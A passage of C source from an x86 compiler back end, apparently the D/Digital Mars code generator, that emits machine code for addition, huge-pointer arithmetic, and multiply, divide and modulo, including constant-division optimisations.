e2) // Handle the case of (((e << c1) + c2) + e2) if ((e11->Eoper == OPmul || e11->Eoper == OPshl) && e11->E2->Eoper == OPconst && !e11->Ecount ) { targ_size_t co1 = el_tolong(e11->E2); if (e11->Eoper == OPshl) { if (co1 > 3) goto L13; ss = co1; } else { ss2 = 1; switch (co1) { case 6: ss = 1; break; case 12: ss = 1; ss2 = 2; break; case 24: ss = 1; ss2 = 3; break; case 10: ss = 2; break; case 20: ss = 2; ss2 = 2; break; case 40: ss = 2; ss2 = 3; break; case 18: ss = 3; break; case 36: ss = 3; ss2 = 2; break; case 72: ss = 3; ss2 = 3; break; default: ss2 = 0; goto L13; } } freenode(e11->E2); freenode(e11); e11 = e11->E1; L13: ; } regm_t regm; if (e11->Eoper == OPvar && isregvar(e11,&regm,&reg1)) { if (tysize(e11->Ety) <= REGSIZE) retregs = mask[reg1]; // only want the LSW else retregs = regm; freenode(e11); } else codelem(cdb,e11,&retregs,FALSE); rretregs = ALLREGS & ~retregs & ~mBP; scodelem(cdb,ebase,&rretregs,retregs,TRUE); { regm_t sregs = *pretregs & ~rretregs; if (!sregs) sregs = ALLREGS & ~rretregs; allocreg(cdb,&sregs,&reg,ty); } assert((retregs & (retregs - 1)) == 0); // must be only one register assert((rretregs & (rretregs - 1)) == 0); // must be only one register reg1 = findreg(retregs); reg2 = findreg(rretregs); if (ss2) { assert(reg != reg2); if ((reg1 & 7) == BP) { static unsigned imm32[4] = {1+1,2+1,4+1,8+1}; // IMUL reg,imm32 cdb.genc2(0x69,modregxrmx(3,reg,reg1),imm32[ss]); } else { // LEA reg,[reg1*ss][reg1] cdb.gen2sib(LEA,modregxrm(0,reg,4),modregrm(ss,reg1 & 7,reg1 & 7)); if (reg1 & 8) code_orrex(cdb.last(), REX_X | REX_B); } if (rex) code_orrex(cdb.last(), rex); reg1 = reg; ss = ss2; // use *2 for scale } cs.Iop = LEA; // LEA reg,c[reg1*ss][reg2] cs.Irm = modregrm(2,reg & 7,4); cs.Isib = modregrm(ss,reg1 & 7,reg2 & 7); assert(reg2 != BP); cs.Iflags = CFoff; cs.Irex = rex; if (reg & 8) cs.Irex |= REX_R; if (reg1 & 8) cs.Irex |= REX_X; if (reg2 & 8) cs.Irex |= REX_B; cs.IFL1 = FLconst; cs.IEV1.Vsize_t = edisp->EV.Vuns; freenode(edisp); freenode(e1); cdb.gen(&cs); fixresult(cdb,e,mask[reg],pretregs); return; } } posregs = (byte) ? BYTEREGS : (mES | ALLREGS | mBP); retregs = *pretregs & posregs; if (retregs == 0) /* if no return regs speced */ /* (like if wanted flags only) */ retregs = ALLREGS & posregs; // give us some if (ty1 == TYhptr || ty2 == TYhptr) { /* Generate code for add/subtract of huge pointers. No attempt is made to generate very good code. */ unsigned mreg,lreg; unsigned lrreg; retregs = (retregs & mLSW) | mDX; if (ty1 == TYhptr) { // hptr +- long rretregs = mLSW & ~(retregs | regcon.mvar); if (!rretregs) rretregs = mLSW; rretregs |= mCX; codelem(cdb,e1,&rretregs,0); retregs &= ~rretregs; if (!(retregs & mLSW)) retregs |= mLSW & ~rretregs; scodelem(cdb,e2,&retregs,rretregs,TRUE); } else { // long + hptr codelem(cdb,e1,&retregs,0); rretregs = (mLSW | mCX) & ~retregs; if (!(rretregs & mLSW)) rretregs |= mLSW; scodelem(cdb,e2,&rretregs,retregs,TRUE); } getregs(cdb,rretregs | retregs); mreg = DX; lreg = findreglsw(retregs); if (e->Eoper == OPmin) { // negate retregs cdb.gen2(0xF7,modregrm(3,3,mreg)); // NEG mreg cdb.gen2(0xF7,modregrm(3,3,lreg)); // NEG lreg code_orflag(cdb.last(),CFpsw); cdb.genc2(0x81,modregrm(3,3,mreg),0); // SBB mreg,0 } lrreg = findreglsw(rretregs); genregs(cdb,0x03,lreg,lrreg); // ADD lreg,lrreg code_orflag(cdb.last(),CFpsw); genmovreg(cdb,lrreg,CX); // MOV lrreg,CX cdb.genc2(0x81,modregrm(3,2,mreg),0); // ADC mreg,0 genshift(cdb); // MOV CX,offset __AHSHIFT cdb.gen2(0xD3,modregrm(3,4,mreg)); // SHL mreg,CL genregs(cdb,0x03,mreg,lrreg); // ADD mreg,MSREG(h) fixresult(cdb,e,retregs,pretregs); return; } if (_tysize[ty1] > REGSIZE && numwords == 1) { /* The only possibilities are (TYfptr + tyword) or (TYfptr - tyword) */ #if DEBUG if (_tysize[ty2] != REGSIZE) { printf("e = %p, e->Eoper = ",e); WROP(e->Eoper); printf(" e1->Ety = "); WRTYxx(ty1); printf(" e2->Ety = "); WRTYxx(ty2); printf("\n"); elem_print(e); } #endif assert(_tysize[ty2] == REGSIZE); /* Watch out for the case here where you are going to OP reg,EA */ /* and both the reg and EA use ES! Prevent this by forcing */ /* reg into the regular registers. */ if ((e2oper == OPind || (e2oper == OPvar && el_fl(e2) == FLfardata)) && !e2->Ecount) { retregs = ALLREGS; } codelem(cdb,e1,&retregs,test); reg = findreglsw(retregs); /* reg is the register with the offset*/ } else { regm_t regm; /* if (tyword + TYfptr) */ if (_tysize[ty1] == REGSIZE && _tysize[ty2] > REGSIZE) { retregs = ~*pretregs & ALLREGS; /* if retregs doesn't have any regs in it that aren't reg vars */ if ((retregs & ~regcon.mvar) == 0) retregs |= mAX; } else if (numwords == 2 && retregs & mES) retregs = (retregs | mMSW) & ALLREGS; // Determine if we should swap operands, because // mov EAX,x // add EAX,reg // is faster than: // mov EAX,reg // add EAX,x else if (e2oper == OPvar && e1->Eoper == OPvar && e->Eoper != OPmin && isregvar(e1,&regm,NULL) && regm != retregs && _tysize[ty1] == _tysize[ty2]) { elem *es = e1; e1 = e2; e2 = es; } codelem(cdb,e1,&retregs,test); // eval left leaf reg = findreg(retregs); } switch (e2oper) { case OPind: /* if addressing mode */ if (!e2->Ecount) /* if not CSE */ goto L1; /* try OP reg,EA */ /* FALL-THROUGH */ default: /* operator node */ L2: rretregs = ALLREGS & ~retregs; /* Be careful not to do arithmetic on ES */ if (_tysize[ty1] == REGSIZE && _tysize[ty2] > REGSIZE && *pretregs != mPSW) rretregs = *pretregs & (mES | ALLREGS | mBP) & ~retregs; else if (byte) rretregs &= BYTEREGS; scodelem(cdb,e2,&rretregs,retregs,TRUE); // get rvalue rreg = (_tysize[ty2] > REGSIZE) ? findreglsw(rretregs) : findreg(rretregs); if (!test) getregs(cdb,retregs); // we will trash these regs if (numwords == 1) /* ADD reg,rreg */ { /* reverse operands to avoid moving around the segment value */ if (_tysize[ty2] > REGSIZE) { getregs(cdb,rretregs); genregs(cdb,op1,rreg,reg); retregs = rretregs; // reverse operands } else { genregs(cdb,op1,reg,rreg); if (!I16 && *pretregs & mPSW) cdb.last()->Iflags |= word; } if (I64 && sz == 8) code_orrex(cdb.last(), REX_W); if (I64 && byte && (reg >= 4 || rreg >= 4)) code_orrex(cdb.last(), REX); } else /* numwords == 2 */ /* ADD lsreg,lsrreg */ { reg = findreglsw(retregs); rreg = findreglsw(rretregs); genregs(cdb,op1,reg,rreg); if (e->Eoper == OPadd || e->Eoper == OPmin) code_orflag(cdb.last(),CFpsw); reg = findregmsw(retregs); rreg = findregmsw(rretregs); if (!(e2oper == OPu16_32 && // if second operand is 0 (op2 == 0x0B || op2 == 0x33)) // and OR or XOR ) genregs(cdb,op2,reg,rreg); // ADC msreg,msrreg } break; case OPrelconst: if (sz != REGSIZE) goto L2; if (segfl[el_fl(e2)] != 3) /* if not in data segment */ goto L2; if (evalinregister(e2)) goto L2; cs.IEVoffset2 = e2->EV.sp.Voffset; cs.IEVsym2 = e2->EV.sp.Vsym; cs.Iflags |= CFoff; i = 0; /* no INC or DEC opcode */ rval = 0; goto L3; case OPconst: if (tyfv(ty2)) goto L2; if (numwords == 1) { if (!el_signx32(e2)) goto L2; i = e2->EV.Vpointer; if (word) { if (!(*pretregs & mPSW) && config.flags4 & CFG4speed && (e->Eoper == OPor || e->Eoper == OPxor || test || (e1->Eoper != OPvar && e1->Eoper != OPind))) { word = 0; i &= 0xFFFF; } } rval = reghasvalue(byte ? BYTEREGS : ALLREGS,i,&rreg); cs.IEV2.Vsize_t = i; L3: if (!test) getregs(cdb,retregs); // we will trash these regs op1 ^= byte; cs.Iflags |= word; if (rval) { cs.Iop = op1 ^ 2; mode = rreg; } else cs.Iop = 0x81; cs.Irm = modregrm(3,mode&7,reg&7); if (mode & 8) cs.Irex |= REX_R; if (reg & 8) cs.Irex |= REX_B; if (I64 && sz == 8) cs.Irex |= REX_W; if (I64 && byte && (reg >= 4 || (rval && rreg >= 4))) cs.Irex |= REX; cs.IFL2 = (e2->Eoper == OPconst) ? FLconst : el_fl(e2); /* Modify instruction for special cases */ switch (e->Eoper) { case OPadd: { int iop; if (i == 1) iop = 0; /* INC reg */ else if (i == -1) iop = 8; /* DEC reg */ else break; cs.Iop = (0x40 | iop | reg) ^ byte; if ((byte && *pretregs & mPSW) || I64) { cs.Irm = modregrm(3,0,reg & 7) | iop; cs.Iop = 0xFF; } break; } case OPand: if (test) cs.Iop = rval ? op1 : 0xF7; // TEST break; } if (*pretregs & mPSW) cs.Iflags |= CFpsw; cs.Iop ^= byte; cdb.gen(&cs); cs.Iflags &= ~CFpsw; } else if (numwords == 2) { unsigned lsreg; targ_int msw; getregs(cdb,retregs); reg = findregmsw(retregs); lsreg = findreglsw(retregs); cs.Iop = 0x81; cs.Irm = modregrm(3,mode,lsreg); cs.IFL2 = FLconst; msw = MSREG(e2->EV.Vllong); cs.IEV2.Vint = e2->EV.Vlong; switch (e->Eoper) { case OPadd: case OPmin: cs.Iflags |= CFpsw; break; } cdb.gen(&cs); cs.Iflags &= ~CFpsw; cs.Irm = (cs.Irm & modregrm(3,7,0)) | reg; cs.IEV2.Vint = msw; if (e->Eoper == OPadd) cs.Irm |= modregrm(0,2,0); /* ADC */ cdb.gen(&cs); } else assert(0); freenode(e2); break; case OPvar: if (movOnly(e2)) goto L2; L1: if (tyfv(ty2)) goto L2; if (!test) getregs(cdb,retregs); // we will trash these regs loadea(cdb,e2,&cs,op1, ((numwords == 2) ? findreglsw(retregs) : reg), 0,retregs,retregs); if (!I16 && word) { if (*pretregs & mPSW) code_orflag(cdb.last(),word); else cdb.last()->Iflags &= ~word; } else if (numwords == 2) { if (e->Eoper == OPadd || e->Eoper == OPmin) code_orflag(cdb.last(),CFpsw); reg = findregmsw(retregs); if (EOP(e2)) { getlvalue_msw(&cs); cs.Iop = op2; NEWREG(cs.Irm,reg); cdb.gen(&cs); // ADC reg,data+2 } else loadea(cdb,e2,&cs,op2,reg,REGSIZE,retregs,0); } else if (I64 && sz == 8) code_orrex(cdb.last(), REX_W); freenode(e2); break; } if (sz <= REGSIZE && *pretregs & mPSW) { /* If the expression is (_tls_array + ...), then the flags are not set * since the linker may rewrite these instructions into something else. */ if (I64 && e->Eoper == OPadd && e1->Eoper == OPvar) { symbol *s = e1->EV.sp.Vsym; if (s->Sident[0] == '_' && memcmp(s->Sident + 1,"tls_array",10) == 0) { goto L7; // don't assume flags are set } } code_orflag(cdb.last(),CFpsw); *pretregs &= ~mPSW; // flags already set L7: ; } fixresult(cdb,e,retregs,pretregs); } /***************************** * Handle multiply, divide, modulo and remquo. * Note that modulo isn't defined for doubles. */ void cdmul(CodeBuilder& cdb,elem *e,regm_t *pretregs) { unsigned rreg,op,lib; regm_t resreg,retregs,rretregs; tym_t tyml; targ_size_t e2factor; targ_size_t d; bool neg; int pow2; if (*pretregs == 0) // if don't want result { codelem(cdb,e->E1,pretregs,FALSE); // eval left leaf *pretregs = 0; // in case they got set codelem(cdb,e->E2,pretregs,FALSE); return; } //printf("cdmul(e = %p, *pretregs = %s)\n", e, regm_str(*pretregs)); regm_t keepregs = 0; elem *e1 = e->E1; elem *e2 = e->E2; tyml = tybasic(e1->Ety); tym_t ty = tybasic(e->Ety); const int sz = _tysize[tyml]; unsigned byte = tybyte(e->Ety) != 0; tym_t uns = tyuns(tyml) || tyuns(e2->Ety); // 1 if unsigned operation, 0 if not unsigned oper = e->Eoper; const unsigned rex = (I64 && sz == 8) ? REX_W : 0; const unsigned grex = rex << 16; if (tyfloating(tyml)) { if (tyvector(tyml) || config.fpxmmregs && oper != OPmod && tyxmmreg(tyml) && !(*pretregs & mST0) && !(ty == TYldouble || ty == TYildouble) && // watch out for shrinkLongDoubleConstantIfPossible() !tycomplex(ty) // SIMD code is not set up to deal with complex mul/div ) { orthxmm(cdb,e,pretregs); return; } #if TARGET_LINUX || TARGET_OSX || TARGET_FREEBSD || TARGET_OPENBSD || TARGET_DRAGONFLYBSD || TARGET_SOLARIS orth87(cdb,e,pretregs); #else opdouble(cdb,e,pretregs,(oper == OPmul) ? CLIBdmul : CLIBddiv); #endif return; } if (tyxmmreg(tyml)) { orthxmm(cdb,e,pretregs); return; } int opunslng = I16 ? OPu16_32 : OPu32_64; switch (oper) { case OPmul: resreg = mAX; op = 5 - uns; lib = CLIBlmul; break; case OPdiv: resreg = mAX; op = 7 - uns; lib = uns ? CLIBuldiv : CLIBldiv; if (I32) keepregs |= mSI | mDI; break; case OPmod: resreg = mDX; op = 7 - uns; lib = uns ? CLIBulmod : CLIBlmod; if (I32) keepregs |= mSI | mDI; break; case OPremquo: resreg = mDX | mAX; op = 7 - uns; lib = uns ? CLIBuldiv : CLIBldiv; if (I32) keepregs |= mSI | mDI; break; default: assert(0); } if (sz <= REGSIZE) // dedicated regs for mul & div { retregs = mAX; // pick some other regs rretregs = byte ? BYTEREGS & ~mAX : ALLREGS & ~(mAX|mDX); } else { assert(sz <= 2 * REGSIZE); retregs = mDX | mAX; rretregs = mCX | mBX; // second arg } code cs; cs.Iflags = 0; cs.Irex = 0; switch (e2->Eoper) { case OPu16_32: case OPs16_32: case OPu32_64: case OPs32_64: { if (sz != 2 * REGSIZE || oper != OPmul || e1->Eoper != e2->Eoper || e1->Ecount || e2->Ecount) goto L2; op = (e2->Eoper == opunslng) ? 4 : 5; retregs = mAX; codelem(cdb,e1->E1,&retregs,FALSE); // eval left leaf if (e2->E1->Eoper == OPvar || (e2->E1->Eoper == OPind && !e2->E1->Ecount) ) { loadea(cdb,e2->E1,&cs,0xF7,op,0,mAX,mAX | mDX); } else { rretregs = ALLREGS & ~mAX; scodelem(cdb,e2->E1,&rretregs,retregs,TRUE); // get rvalue getregs(cdb,mAX | mDX); rreg = findreg(rretregs); cdb.gen2(0xF7,grex | modregrmx(3,op,rreg)); // OP AX,rreg } freenode(e->E1); freenode(e2); fixresult(cdb,e,mAX | mDX,pretregs); return; } case OPconst: e2factor = el_tolong(e2); neg = false; d = e2factor; if (!uns && (targ_llong)e2factor < 0) { neg = true; d = -d; } // Multiply by a constant if (oper == OPmul && I32 && sz == REGSIZE * 2) { /* IMUL EDX,EDX,lsw IMUL reg,EAX,msw ADD reg,EDX MOV EDX,lsw MUL EDX ADD EDX,reg if (msw == 0) IMUL reg,EDX,lsw MOV EDX,lsw MUL EDX ADD EDX,reg */ codelem(cdb,e1,&retregs,FALSE); // eval left leaf regm_t scratch = allregs & ~(mAX | mDX); unsigned reg; allocreg(cdb,&scratch,&reg,TYint); getregs(cdb,mDX | mAX); targ_int lsw = e2factor & ((1LL << (REGSIZE * 8)) - 1); targ_int msw = e2factor >> (REGSIZE * 8); if (msw) { genmulimm(cdb,DX,DX,lsw); genmulimm(cdb,reg,AX,msw); cdb.gen2(0x03,modregrm(3,reg,DX)); } else genmulimm(cdb,reg,DX,lsw); movregconst(cdb,DX,lsw,0); // MOV EDX,lsw getregs(cdb,mDX); cdb.gen2(0xF7,modregrm(3,4,DX)); // MUL EDX cdb.gen2(0x03,modregrm(3,DX,reg)); // ADD EDX,reg resreg = mDX | mAX; freenode(e2); fixresult(cdb,e,resreg,pretregs); return; } // Signed divide by a constant if (oper != OPmul && (d & (d - 1)) && ((I32 && sz == 4) || (I64 && (sz == 4 || sz == 8))) && config.flags4 & CFG4speed && !uns) { /* R1 / 10 * * MOV EAX,m * IMUL R1 * MOV EAX,R1 * SAR EAX,31 * SAR EDX,shpost * SUB EDX,EAX * IMUL EAX,EDX,d * SUB R1,EAX * * EDX = quotient * R1 = remainder */ assert(sz == 4 || sz == 8); unsigned r3; uint64_t m; int shpost; int N = sz * 8; bool mhighbit = choose_multiplier(N, d, N - 1, &m, &shpost); regm_t regm = allregs & ~(mAX | mDX); codelem(cdb,e1,&regm,FALSE); // eval left leaf unsigned reg = findreg(regm); getregs(cdb,regm | mDX | mAX); /* Algorithm 5.2 * if m>=2**(N-1) * q = SRA(n + MULSH(m-2**N,n), shpost) - XSIGN(n) * else * q = SRA(MULSH(m,n), shpost) - XSIGN(n) * if (neg) * q = -q */ bool mgt = mhighbit || m >= (1ULL << (N - 1)); movregconst(cdb, AX, m, (sz == 8) ? 0x40 : 0); // MOV EAX,m cdb.gen2(0xF7,grex | modregrmx(3,5,reg)); // IMUL R1 if (mgt) cdb.gen2(0x03,grex | modregrmx(3,DX,reg)); // ADD EDX,R1 getregsNoSave(mAX); // EAX no longer contains 'm' genmovreg(cdb, AX, reg); // MOV EAX,R1 cdb.genc2(0xC1,grex | modregrm(3,7,AX),sz * 8 - 1); // SAR EAX,31 if (shpost) cdb.genc2(0xC1,grex | modregrm(3,7,DX),shpost); // SAR EDX,shpost if (neg && oper == OPdiv) { cdb.gen2(0x2B,grex | modregrm(3,AX,DX)); // SUB EAX,EDX r3 = AX; } else { cdb.gen2(0x2B,grex | modregrm(3,DX,AX)); // SUB EDX,EAX r3 = DX; } // r3 is quotient switch (oper) { case OPdiv: resreg = mask[r3]; break; case OPmod: assert(reg != AX && r3 == DX); if (sz == 4 || (sz == 8 && (targ_long)d == d)) { cdb.genc2(0x69,grex | modregrm(3,AX,DX),d); // IMUL EAX,EDX,d } else { movregconst(cdb,AX,d,(sz == 8) ? 0x40 : 0); // MOV EAX,d cdb.gen2(0x0FAF,grex | modregrmx(3,AX,DX)); // IMUL EAX,EDX getregsNoSave(mAX); // EAX no longer contains 'd' } cdb.gen2(0x2B,grex | modregxrm(3,reg,AX)); // SUB R1,EAX resreg = regm; break; case OPremquo: assert(reg != AX && r3 == DX); if (sz == 4 || (sz == 8 && (targ_long)d == d)) { cdb.genc2(0x69,grex | modregrm(3,AX,DX),d); // IMUL EAX,EDX,d } else { movregconst(cdb,AX,d,(sz == 8) ? 0x40 : 0); // MOV EAX,d cdb.gen2(0x0FAF,grex | modregrmx(3,AX,DX)); // IMUL EAX,EDX } cdb.gen2(0x2B,grex | modregxrm(3,reg,AX)); // SUB R1,EAX genmovreg(cdb, AX, r3); // MOV EAX,r3 if (neg) cdb.gen2(0xF7,grex | modregrm(3,3,AX)); // NEG EAX genmovreg(cdb, DX, reg); // MOV EDX,R1 resreg = mDX | mAX; break; default: assert(0); } freenode(e2); fixresult(cdb,e,resreg,pretregs); return; } // Unsigned divide by a constant if (oper != OPmul && e2factor > 2 && (e2factor & (e2factor - 1)) && ((I32 && sz == 4) || (I64 && (sz == 4 || sz == 8))) && config.flags4 & CFG4speed && uns) { assert(sz == 4 || sz == 8); unsigned r3; regm_t regm; unsigned reg; uint64_t m; int shpre; int shpost; if (udiv_coefficients(sz * 8, e2factor, &shpre, &m, &shpost)) { /* t1 = MULUH(m, n) * q = SRL(t1 + SRL(n - t1, 1), shpost - 1) * MOV EAX,reg * MOV EDX,m * MUL EDX * MOV EAX,reg * SUB EAX,EDX * SHR EAX,1 * LEA R3,[EAX][EDX] * SHR R3,shpost-1 */ assert(shpre == 0); regm = allregs & ~(mAX | mDX); codelem(cdb,e1,&regm,FALSE); // eval left leaf reg = findreg(regm); getregs(cdb,mAX | mDX); genmovreg(cdb,AX,reg); // MOV EAX,reg movregconst(cdb, DX, m, (sz == 8) ? 0x40 : 0); // MOV EDX,m getregs(cdb,regm | mDX | mAX); cdb.gen2(0xF7,grex | modregrmx(3,4,DX)); // MUL EDX genmovreg(cdb,AX,reg); // MOV EAX,reg cdb.gen2(0x2B,grex | modregrm(3,AX,DX)); // SUB EAX,EDX cdb.genc2(0xC1,grex | modregrm(3,5,AX),1); // SHR EAX,1 unsigned regm3 = allregs; if (oper == OPmod || oper == OPremquo) { regm3 &= ~regm; if (oper == OPremquo || !el_signx32(e2)) regm3 &= ~mAX; } allocreg(cdb,&regm3,&r3,TYint); cdb.gen2sib(LEA,grex | modregxrm(0,r3,4),modregrm(0,AX,DX)); // LEA R3,[EAX][EDX] if (shpost != 1) cdb.genc2(0xC1,grex | modregrmx(3,5,r3),shpost-1); // SHR R3,shpost-1 } else { /* q = SRL(MULUH(m, SRL(n, shpre)), shpost) * SHR EAX,shpre * MOV reg,m * MUL reg * SHR EDX,shpost */ regm = mAX; if (oper == OPmod || oper == OPremquo) regm = allregs & ~(mAX|mDX); codelem(cdb,e1,&regm,FALSE); // eval left leaf reg = findreg(regm); if (reg != AX) { getregs(cdb,mAX); genmovreg(cdb,AX,reg); // MOV EAX,reg } if (shpre) { getregs(cdb,mAX); cdb.genc2(0xC1,grex | modregrm(3,5,AX),shpre); // SHR EAX,shpre } getregs(cdb,mDX); movregconst(cdb, DX, m, (sz == 8) ? 0x40 : 0); // MOV EDX,m getregs(cdb,mDX | mAX); cdb.gen2(0xF7,grex | modregrmx(3,4,DX)); // MUL EDX if (shpost) cdb.genc2(0xC1,grex | modregrm(3,5,DX),shpost); // SHR EDX,shpost r3 = DX; } switch (oper) { case OPdiv: // r3 = quotient resreg = mask[r3]; break; case OPmod: /* reg = original value * r3 = quotient */ assert(!(regm & mAX)); if (el_signx32(e2)) { cdb.genc2(0x69,grex | modregrmx(3,AX,r3),e2factor); // IMUL EAX,r3,e2factor } else { assert(!(mask[r3] & mAX)); movregconst(cdb,AX,e2factor,(sz == 8) ? 0x40 : 0); // MOV EAX,e2factor getregs(cdb,mAX); cdb.gen2(0x0FAF,grex | modregrmx(3,AX,r3)); // IMUL EAX,r3 } getregs(cdb,regm); cdb.gen2(0x2B,grex | modregxrm(3,reg,AX)); // SUB reg,EAX resreg = regm; break; case OPremquo: /* reg = original value * r3 = quotient */ assert(!(mask[r3] & (mAX|regm))); assert(!(regm & mAX)); if (el_signx32(e2)) { cdb.genc2(0x69,grex | modregrmx(3,AX,r3),e2factor); // IMUL EAX,r3,e2factor } else { movregconst(cdb,AX,e2factor,(sz == 8) ? 0x40 : 0); // MOV EAX,e2factor getregs(cdb,mAX); cdb.gen2(0x0FAF,grex | modregrmx(3,AX,r3)); // IMUL EAX,r3 } getregs(cdb,regm); cdb.gen2(0x2B,grex | modregxrm(3,reg,AX)); // SUB reg,EAX genmovreg(cdb, AX, r3); // MOV EAX,r3 genmovreg(cdb, DX, reg); // MOV EDX,reg resreg = mDX | mAX; break; default: assert(0); } freenode(e2); fixresult(cdb,e,resreg,pretregs); return; } if (sz > REGSIZE || !el_signx32(e2)) goto L2; if (oper == OPmul && config.target_cpu >= TARGET_80286) { unsigned reg; int ss; freenode(e2); retregs = byte ? BYTEREGS : ALLREGS; resreg = *pretregs & (ALLREGS | mBP); if (!resreg) resreg = retregs; if (!I16) { // See if we can use an LEA instruction int ss2 = 0; int shift; switch (e2factor) { case 12: ss = 1; ss2 = 2; goto L4; case 24: ss = 1; ss2 = 3; goto L4; case 6: case 3: ss = 1; goto L4; case 20: ss = 2; ss2 = 2; goto L4; case 40: ss = 2; ss2 = 3; goto L4; case 10: case 5: ss = 2; goto L4; case 36: ss = 3; ss2 = 2; goto L4; case 72: ss = 3; ss2 = 3; goto L4; case 18: case 9: ss = 3; goto L4; L4: { #if 1 regm_t regm = byte ? BYTEREGS : ALLREGS; regm &= ~(mBP | mR13); // don't use EBP codelem(cdb,e->E1,&regm,TRUE); unsigned r = findreg(regm); if (ss2) { // Don't use EBP resreg &= ~(mBP | mR13); if (!resreg) resreg = retregs; } allocreg(cdb,&resreg,&reg,tyml); cdb.gen2sib(LEA,grex | modregxrm(0,reg,4), modregxrmx(ss,r,r)); assert((r & 7) != BP); if (ss2) { cdb.gen2sib(LEA,grex | modregxrm(0,reg,4), modregxrm(ss2,reg,5)); cdb.last()->IFL1 = FLconst; cdb.last()->IEV1.Vint = 0; } else if (!(e2factor & 1)) // if even factor { genregs(cdb,0x03,reg,reg); // ADD reg,reg code_orrex(cdb.last(),rex); } fixresult(cdb,e,resreg,pretregs); return; #else // Don't use EBP resreg &= ~mBP; if (!resreg) resreg = retregs; codelem(cdb,e->E1,&resreg,FALSE); reg = findreg(resreg); getregs(cdb,resreg); cdb.gen2sib(LEA,modregrm(0,reg,4), modregrm(ss,reg,reg)); if (ss2) { cdb.gen2sib(LEA,modregrm(0,reg,4), modregrm(ss2,reg,5)); cdb.last()->IFL1 = FLconst; cdb.last()->IEV1.Vint = 0; } else if (!(e2factor & 1)) // if even factor genregs(cdb,0x03,reg,reg); // ADD reg,reg fixresult(cdb,e,resreg,pretregs); return; #endif } case 37: case 74: shift = 2; goto L5; case 13: case 26: shift = 0; goto L5; L5: { // Don't use EBP resreg &= ~(mBP | mR13); if (!resreg) resreg = retregs; allocreg(cdb,&resreg,&reg,TYint); regm_t sregm = (ALLREGS & ~mR13) & ~resreg; codelem(cdb,e->E1,&sregm,FALSE); unsigned sreg = findreg(sregm); getregs(cdb,resreg | sregm); // LEA reg,[sreg * 4][sreg] // SHL sreg,shift // LEA reg,[sreg * 8][reg] assert((sreg & 7) != BP); assert((reg & 7) != BP); cdb.gen2sib(LEA,grex | modregxrm(0,reg,4), modregxrmx(2,sreg,sreg)); if (shift) cdb.genc2(0xC1,grex | modregrmx(3,4,sreg),shift); cdb.gen2sib(LEA,grex | modregxrm(0,reg,4), modregxrmx(3,sreg,reg)); if (!(e2factor & 1)) // if even factor { genregs(cdb,0x03,reg,reg); // ADD reg,reg code_orrex(cdb.last(),rex); } fixresult(cdb,e,resreg,pretregs); return; } } } scodelem(cdb,e->E1,&retregs,0,TRUE); // eval left leaf reg = findreg(retregs); allocreg(cdb,&resreg,&rreg,e->Ety); // IMUL reg,imm16 cdb.genc2(0x69,grex | modregxrmx(3,rreg,reg),e2factor); fixresult(cdb,e,resreg,pretregs); return; } // Special code for signed divide or modulo by power of 2 if ((sz == REGSIZE || (I64 && sz == 4)) && (oper == OPdiv || oper == OPmod) && !uns && (pow2 = ispow2(e2factor)) != -1 && !(config.target_cpu < TARGET_80286 && pow2 != 1 && oper == OPdiv) ) { if (pow2 == 1 && oper == OPdiv && config.target_cpu > TARGET_80386) { // test eax,eax // jns L1 // add eax,1 // L1: sar eax,1 retregs = allregs; codelem(cdb,e->E1,&retregs,FALSE); // eval left leaf unsigned reg = findreg(retregs); freenode(e2); getregs(cdb,retregs); gentstreg(cdb,reg); // TEST reg,reg code_orrex(cdb.last(), rex); code *cnop = gennop(CNIL); genjmp(cdb,JNS,FLcode,(block *)cnop); // JNS cnop if (I64) { cdb.gen2(0xFF,modregrmx(3,0,reg)); // INC reg code_orrex(cdb.last(),rex); } else cdb.gen1(0x40 + reg); // INC reg cdb.append(cnop); cdb.gen2(0xD1,grex | modregrmx(3,7,reg)); // SAR reg,1 resreg = retregs; fixresult(cdb,e,resreg,pretregs); return; } codelem(cdb,e->E1,&retregs,FALSE); // eval left leaf freenode(e2); getregs(cdb,mAX | mDX); // modify these regs cdb.gen1(0x99); // CWD code_orrex(cdb.last(), rex); if (pow2 == 1) { if (oper == OPdiv) { cdb.gen2(0x2B,grex | modregrm(3,AX,DX)); // SUB AX,DX cdb.gen2(0xD1,grex | modregrm(3,7,AX)); // SAR AX,1 } else // OPmod { cdb.gen2(0x33,grex | modregrm(3,AX,DX)); // XOR AX,DX cdb.genc2(0x81,grex | modregrm(3,4,AX),1); // AND AX,1 cdb.gen2(0x03,grex | modregrm(3,DX,AX)); // ADD DX,AX } } else { targ_ulong m; m = (1 << pow2) - 1; if (oper == OPdiv) { cdb.genc2(0x81,grex | modregrm(3,4,DX),m); // AND DX,m cdb.gen2(0x03,grex | modregrm(3,AX,DX)); // ADD AX,DX // Be careful not to generate this for 8088 assert(config.target_cpu >= TARGET_80286); cdb.genc2(0xC1,grex | modregrm(3,7,AX),pow2); // SAR AX,pow2 } else // OPmod { cdb.gen2(0x33,grex | modregrm(3,AX,DX)); // XOR AX,DX cdb.gen2(0x2B,grex | modregrm(3,AX,DX)); // SUB AX,DX cdb.genc2(0x81,grex | modregrm(3,4,AX),m); // AND AX,mask cdb.gen2(0x33,grex | modregrm(3,AX,DX)); // XOR AX,DX cdb.gen2(0x2B,grex | modregrm(3,AX,DX)); // SUB AX,DX resreg = mAX; } } fixresult(cdb,e,resreg,pretregs); return; } goto L2; case OPind: if (!e2->Ecount) // if not CSE goto L1; // try OP reg,EA goto L2; default: // OPconst and operators L2: //printf("test2 %p, retregs = %s rretregs = %s resreg = %s\n", e, regm_str(retregs), regm_str(rretregs), regm_str(resreg)); codelem(cdb,e1,&retregs,FALSE); // eval left leaf scodelem(cdb,e2,&rretregs,retregs,TRUE); // get rvalue if (sz <= REGSIZE) { getregs(cdb,mAX | mDX); // trash these regs if (op == 7) // signed divide { cdb.gen1(0x99); // CWD code_orrex(cdb.last(),rex); } else if (op == 6) // unsigned divide { movregconst(cdb,DX,0,(sz == 8) ? 64 : 0); // MOV DX,0 getregs(cdb,mDX); } rreg = findreg(rretregs); cdb.gen2(0xF7 ^ byte,grex | modregrmx(3,op,rreg)); // OP AX,rreg if (I64 && byte && rreg >= 4) code_orrex(cdb.last(), REX); fixresult(cdb,e,resreg,pretregs); } else if (sz == 2 * REGSIZE) { if (config.target_cpu >= TARGET_PentiumPro && oper == OPmul) { /* IMUL ECX,EAX IMUL EDX,EBX ADD ECX,EDX MUL EBX ADD EDX,ECX */ getregs(cdb,mAX|mDX|mCX); cdb.gen2(0x0FAF,modregrm(3,CX,AX)); cdb.gen2(0x0FAF,modregrm(3,DX,BX)); 